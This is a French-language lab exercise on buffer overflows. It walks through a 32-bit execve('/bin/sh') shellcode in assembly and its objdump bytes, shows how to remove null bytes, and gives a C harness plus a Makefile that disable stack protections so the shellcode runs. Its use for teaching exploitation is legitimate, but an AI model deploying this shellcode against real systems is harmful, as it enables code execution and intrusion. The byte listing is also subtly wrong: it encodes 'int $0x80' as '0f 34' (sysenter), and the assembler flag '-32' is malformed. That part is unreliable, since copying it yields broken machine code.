Buffer Overflow, 2ème partie

Objectif : modifier le code assembleur d'un shellcode pour produire une suite d'octets qui ne contient pas de caractère nul ('\0'), marque de fin de chaîne.

1. Point de départ : on considère le programme assembleur suivant, *sc.s*

```
startsc:
      jmp call2
start1:
      popl %esi
      movl %esi,0x8(%esi)
      movb $0x0,0x7(%esi)
      movl $0x0,0xc(%esi)
      movl $0xb,%eax
      movl %esi,%ebx
      leal 0x8(%esi),%ecx
      leal 0xc(%esi),%edx
      int $0x80
      movl $0x1, %eax
      movl $0x0, %ebx
      int $0x80
call2:
      call start1
      .string "/bin/sh"
```

Pour assembler ce programme, on utilisera GNU AS de la manière suivante :

```
as -32 -o sc.o sc.s
```

Ce code, fois assemblé, correspond à une suite d'octets en language machine. On peut extraire cette suite d'octets avec la commande *objdump* sur l'objet produit.

NB : ne pas tenir compte du désassemblage malencontreux de la chaîne "/bin/sh", les valeurs restent correctes.

```
objdump -d sc.o | sed -n '/startsc/,$p'

00000000 <startsc>:
   0:          eb 2a                          jmp    2c <call2>

00000002 <start1>:
   2:          5e                             pop    %esi
   3:          89 76 08                       mov    %esi,0x8(%esi)
   6:          c6 46 07 00                    movb   $0x0,0x7(%esi)
   a:          c7 46 0c 00 00 00 00           movl   $0x0,0xc(%esi)
  11:          b8 0b 00 00 00                 mov    $0xb,%eax
  16:          89 f3                          mov    %esi,%ebx
  18:          8d 4e 08                       lea    0x8(%esi),%ecx
  1b:          8d 56 0c                       lea    0xc(%esi),%edx
  1e:          0f 34                          int    $0x80
  20:          b8 01 00 00 00                 mov    $0x1,%eax
  25:          bb 00 00 00 00                 mov    $0x0,%ebx
  2a:          0f 34                          int    $0x80

0000002c <call2>:
  2c:          e8 d1 ff ff ff                 call   2 <start1>

00000031 <stringaddr>:
               ...
```

2. Commencer par lister toutes les instructions problématiques qui contiennent des caractères '\0'.
3. Trouver par quelles instructions les remplacer. On pourra s'aider des techniques suivantes :
   - Mettre la valeur 0 dans un emplacement pointé par un registre :
     `c7 46 04 00 00 00 00    movl   $0x0,0x4(%esi)`
     Alternative :
     — Mettre eax à zéro
     — Copier eax vers l'endroit pointé par esi (avec un offset de 4)
     Exemple :
     ```
     31 c0                    xor    %eax,%eax
     89 46 04                 mov    %eax,0x4(%esi)
     ```

- Mettre la valeur "2" dans un registre :
  ```
  ba 02 00 00 00          movl    $0x2,%edx
  ```
  Alternative :
  — Mettre edx à zéro
  — Incrémenter edx 2 fois de suite
  Exemple :
  ```
  31 d2                   xor     %edx,%edx
  42                      inc     %edx
  42                      inc     %edx
  ```
- Mettre la valeur "255" dans un registre :
  ```
  ba ff 00 00 00          movl    $0xff,%edx
  ```
  Alternative :
  — Mettre edx à zéro
  — Fixer uniquement l'octet de poids faible à 255 (pour des raisons de compatibilité, les parties 8 ou 16 bits des registres sont accessibles)
  ```
  31 d2                   xor     %edx,%edx
  b2 ff                   movb    $0xff,%dl
  ```

4. Faire un programme qui extrait les octets et en fait une chaine hexadécimale utilisable dans un programme C. Exemples (au choix) :

```
char shellcode[] = { 0xeb, 0x1f, 0x5e, 0x89, 0x76, 0x08, 0x31, ... };
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89...";
```

5. Tester le shellcode avec le programme suivant (testsc.c)

```
int main(void) {
      int *ret;
      char shellcode[] = { ... };
      ret = (int *)&ret + 2;
      (*ret) = (int)shellcode;
}
```

Ce programme fonctionnera uniquement si les bonnes options de compilation sont fournies :
- -z execstack : les pages mémoires de la pile sont marquées comme exécutables. Option par défaut : -z noexecstack
- -fno-stack-protector : pas de *stack canaries*. Option par défaut : -fstack-protector, gcc insère du code supplémentaire pour vérifier les débordement de pile

Utiliser le Makefile suivant :

```
LDFLAGS = -m32 -z execstack
CFLAGS = -m32 -O0 -static -g -fno-stack-protector \
      -mpreferred-stack-boundary=2 -D_FORTIFY_SOURCE=0
all: testsc
testsc: testsc.o
```